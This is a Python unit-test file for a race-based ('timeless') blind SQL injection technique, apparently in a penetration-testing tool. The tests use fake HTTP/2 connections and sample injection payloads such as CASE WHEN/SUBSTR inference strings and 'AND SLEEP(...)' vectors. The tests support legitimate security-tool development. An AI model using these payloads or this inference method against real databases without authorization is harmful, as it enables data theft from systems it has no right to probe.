def test_unprocessed_stream_is_retried_on_a_factory(self): + conns = [FakeConnection([True], raises=[_UnprocessedStream("goaway")]), FakeConnection([True])] + made = [] + + def factory(): + made.append(conns[len(made)]) + return made[-1] + + first, loSid, hiSid, status = _pairOrder(factory, REQ_COND, REQ_NEG, 5) + self.assertEqual(len(made), 2) + self.assertEqual(status, 200) + self.assertEqual((loSid, hiSid), (1, 3)) + self.assertEqual(first, loSid) + + def test_ambiguous_transport_error_is_not_replayed(self): + """A generic drop proves nothing about whether the application saw the requests - re-sending it + could re-run a state-changing injection point.""" + conn = FakeConnection([True], raises=[socket.error("connection reset")]) + self.assertRaises(socket.error, _pairOrder, lambda: conn, REQ_COND, REQ_NEG, 5) + self.assertEqual(conn.closed, 1) + + def test_status_mismatch_between_streams_raises(self): + conn = FakeConnection([True] * 8, statuses=[(200, 403)] * 8) + self.assertRaises(TimelessUnusable, _pairOrder, conn, REQ_COND, REQ_NEG, 5) + + def test_drift_from_the_calibrated_status_raises(self): + conn = FakeConnection([True] * 8, statuses=[302] * 8) + self.assertRaises(TimelessUnusable, _pairOrder, conn, REQ_COND, REQ_NEG, 5, expectStatus=200) + + def test_transient_status_blip_is_tolerated(self): + conn = FakeConnection([True] * 8, statuses=[500, 200]) + _first, _lo, _hi, status = _pairOrder(conn, REQ_COND, REQ_NEG, 5, expectStatus=200) + self.assertEqual(status, 200) + + def test_calibrate_reports_the_control_status(self): + conn = FakeConnection(votes(*([True] * 10)), statuses=[201] * 10) + usable, confidence, status = calibrate(conn, REQ_COND, REQ_NEG, trials=10) + self.assertTrue(usable) + self.assertEqual(confidence, 1.0) + self.assertEqual(status, 201) + + def test_calibrate_rejects_a_serializing_backend(self): + conn = FakeConnection([True] * 20) # order tracks arrival, not work + usable, confidence, _status = calibrate(conn, REQ_COND, REQ_NEG, trials=10) + self.assertFalse(usable) + self.assertLess(confidence, 0.9) + + +class TimelessSpecTest(unittest.TestCase): + def test_authority_comes_from_the_host_header(self): + spec = ("https://10.0.0.5/path?a=1", "GET", {"Host": "vhost.example", "X-A": "1"}, None) + req = _specToReq(spec, "fallback") + self.assertEqual(req["authority"], "vhost.example") + self.assertEqual(req["path"], "/path?a=1") + + def test_authority_falls_back_to_the_url(self): + spec = ("https://10.0.0.5/path", "GET", {"X-A": "1"}, None) + self.assertEqual(_specToReq(spec, "fallback")["authority"], "10.0.0.5") + + def test_connection_nominated_fields_reach_the_http2_normalizer(self): + """Stripping Connection here would leave the fields it names in the h2 request, which is + malformed - the HTTP/2 layer needs to see it to remove them.""" + spec = ("https://h/p", "GET", {"Connection": "X-Remove", "X-Remove": "v"}, None) + req = _specToReq(spec, "h") + self.assertIn("Connection", req["headers"]) + + from lib.request.http2 import _normalize_request_headers + names = [name for name, _value in _normalize_request_headers(req["headers"], b"")] + self.assertNotIn(b"x-remove", names) + self.assertNotIn(b"connection", names) + + def test_userinfo_is_dropped_from_the_authority(self): + spec = ("https://user:pass@host.example:8443/p", "GET", {}, None) + self.assertEqual(_specToReq(spec, "h")["authority"], "host.example:8443") + + +class TimelessPayloadTest(unittest.TestCase): + def test_negation_spans_newlines(self): + value = "AND 1=(CASE WHEN (%sASCII(SUBSTR(x,\n1,1))>64%s) THEN 1 ELSE 1 END)" % ( + _timeless.INFERENCE_BEGIN, _timeless.INFERENCE_END) + negated = negatePayload(value) + self.assertIsNotNone(negated) + self.assertIn("ASCII(SUBSTR(x,\n1,1))>64", negated) + self.assertIn("THEN 1 ELSE 0 END)=0", negated) + + def test_negation_requires_sentinels(self): + self.assertIsNone(negatePayload("AND 1=1")) + self.assertIsNone(negatePayload(None)) + + def test_negation_is_null_safe(self): + """Plain NOT() would leave both requests cheap at end-of-string (NOT NULL is NULL), so neither + branch runs heavy and the order is noise.""" + self.assertNotIn("NOT(", negateCondition("ORD(x)>64")) + self.assertEqual(negateCondition("ORD(x)>64"), "(CASE WHEN (ORD(x)>64) THEN 1 ELSE 0 END)=0") + + def test_every_primitive_consumes_the_cost(self): + """A primitive that ignores [COST] makes every rung of the ladder send the identical query while + reporting a different cost.""" + for dbms, primitive in LIGHT_HEAVY.items(): + self.assertIn("[COST]", primitive, "%s primitive ignores [COST]" % dbms) + + def test_every_primitive_yields_a_sentinel_vector(self): + for dbms in LIGHT_HEAVY: + vector = lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) + self.assertIn(_timeless.INFERENCE_BEGIN, vector) + self.assertIn(_timeless.INFERENCE_END, vector) + self.assertIsNotNone(negatePayload(vector)) + + def test_condition_pair_runs_heavy_exactly_once(self): + cond, neg = buildConditionPair("ORD(x)>64", "HEAVY") + self.assertEqual(cond.count("HEAVY"), 1) + self.assertEqual(neg.count("HEAVY"), 1) + self.assertNotEqual(cond, neg) + + +class TimelessOracleTest(unittest.TestCase): + def _oracle(self, connections, **kwargs): + oracle = TimelessOracle("h", 443, REQ_COND, REQ_NEG, votes=4, status=200, **kwargs) + made = [] + + def opener(host, port, proxy, timeout): + made.append(connections[len(made)]) + return made[-1] + + oracle._opened = made + _timeless.connect, self._savedConnect = opener, _timeless.connect + return oracle + + def tearDown(self): + if hasattr(self, "_savedConnect"): + _timeless.connect = self._savedConnect + del self._savedConnect + + def test_a_fresh_connection_is_calibrated_before_it_reads(self): + conn = FakeConnection(votes(*([True] * 40))) + oracle = self._oracle([conn]) + oracle._conn() + self.assertEqual(len(conn.sent), _timeless.VERIFY_TRIALS) + + def test_a_serializing_replacement_connection_is_refused(self): + """The initial sweep proves one connection to one backend node; a later connection can land on a + node that serializes streams and would return wrong bits without ever raising.""" + conn = FakeConnection([True] * 40) # first-sent always finishes first + oracle = self._oracle([conn]) + self.assertRaises(TimelessUnusable, oracle._conn) + self.assertEqual(conn.closed, 1) + self.assertEqual(oracle._conns, []) + + def test_close_does_not_resurrect_a_concurrently_opened_connection(self): + conn = FakeConnection(votes(*([True] * 40))) + oracle = self._oracle([conn]) + started, release = threading.Event(), threading.Event() + opener = _timeless.connect + + def blocking(*args, **kwargs): + started.set() + release.wait(5) + return opener(*args, **kwargs) + + _timeless.connect = blocking + worker = threading.Thread(target=lambda: self.assertRaises(TimelessUnusable, oracle._conn)) + worker.daemon = True + worker.start() + started.wait(5) + oracle.close() # closes while the worker is still inside connect() + release.set() + worker.join(5) + self.assertEqual(oracle._conns, []) + self.assertEqual(conn.closed, 1) + + def test_clean_model_demands_a_unanimous_connection(self): + """The cheap model is only sound where votes are deterministic, so a connection that cannot + reproduce the unanimity the tuning sweep saw must not be read at it.""" + oneMiss = votes(*([True] * 3 + [False] + [True] * 40)) + oracle = self._oracle([FakeConnection(oneMiss)], verifyThreshold=_timeless.VERIFY_THRESHOLD_CLEAN, + pTrue=_timeless.SPRT_P_TRUE_CLEAN) + self.assertRaises(TimelessUnusable, oracle._conn) + + oracle = self._oracle([FakeConnection(oneMiss)]) # conservative model tolerates it + self.assertTrue(oracle._conn()) + + def test_close_is_idempotent(self): + conn = FakeConnection(votes(*([True] * 40))) + oracle = self._oracle([conn]) + oracle._conn() + oracle.close() + oracle.close() + self.assertEqual(conn.closed, 1) + + +class TimelessEngagementTest(unittest.TestCase): + """engage()/disengage() are the state machine the runtime fallback depends on. Restoring the vector + alone is NOT enough - bisection freezes a comparison template from it when a value starts extracting, + so disengage() must also publish the classic vector for queryPage to re-forge the stragglers with, + or the rest of that value keeps sending heavy (no-delay) payloads that read as all-False.""" + + def setUp(self): + from lib.core.data import kb + from lib.core.datatype import AttribDict + from lib.core.enums import PAYLOAD + + self.kb, self.technique = kb, PAYLOAD.TECHNIQUE.TIME + self._saved = (kb.get("injection"), kb.get("timeless"), kb.get("timelessRestore")) + kb.injection = AttribDict({"data": AttribDict({self.technique: AttribDict({"vector": "AND SLEEP([SLEEPTIME]) [INFERENCE]"})})}) + kb.timeless = None + kb.timelessRestore = None + + def tearDown(self): + self.kb.injection, self.kb.timeless, self.kb.timelessRestore = self._saved + + def _oracle(self): + return TimelessOracle("h", 443, REQ_COND, REQ_NEG, status=200) + + def test_engage_swaps_the_vector_and_publishes_last(self): + oracle = self._oracle() + _timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]") + self.assertEqual(self.kb.injection.data[self.technique].vector, "AND HEAVY [INFERENCE]") + self.assertIs(self.kb.timeless, oracle) + self.assertIsNone(self.kb.timelessRestore) + + def test_disengage_restores_and_arms_the_straggler_rewrite(self): + oracle = self._oracle() + _timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]") + _timeless.disengage() + self.assertEqual(self.kb.injection.data[self.technique].vector, "AND SLEEP([SLEEPTIME]) [INFERENCE]") + self.assertIsNone(self.kb.timeless) + self.assertEqual(self.kb.timelessRestore, "AND SLEEP([SLEEPTIME]) [INFERENCE]") + + def test_re_engaging_clears_a_previous_targets_rewrite(self): + """A stale rewrite vector outliving its target would re-forge the next one's payloads.""" + _timeless.engage(self._oracle(), self.technique, "AND HEAVY [INFERENCE]") + _timeless.disengage() + self.assertIsNotNone(self.kb.timelessRestore) + _timeless.engage(self._oracle(), self.technique, "AND HEAVY2 [INFERENCE]") + self.assertIsNone(self.kb.timelessRestore) + + def test_disengage_holds_the_data_object_not_the_technique(self): + """disengage() can run after the controller moved to the next target; re-resolving the technique + then would restore this target's vector onto the next one's injection data.""" + from lib.core.datatype import AttribDict + + oracle = self._oracle() + _timeless.engage(oracle, self.technique, "AND HEAVY [INFERENCE]") + stale = self.kb.injection.data[self.technique] + self.kb.injection = AttribDict({"data": AttribDict({self.technique: AttribDict({"vector": "NEXT TARGET [INFERENCE]"})})}) + _timeless.disengage() + self.assertEqual(self.kb.injection.data[self.technique].vector, "NEXT TARGET [INFERENCE]") + self.assertEqual(stale.vector, "AND SLEEP([SLEEPTIME]) [INFERENCE]") + + def test_straggler_rewrite_ignores_a_payload_without_sentinels(self): + """The rewrite must be a no-op on any ordinary time-based payload.""" + self.assertIsNone(_timeless.restoreClassicValue("id=1 AND SLEEP(5)", "AND SLEEP([SLEEPTIME]) [INFERENCE]")) + self.assertIsNone(_timeless.restoreClassicValue(None, "AND SLEEP([SLEEPTIME]) [INFERENCE]")) + + +if __name__ == "__main__": + unittest.main()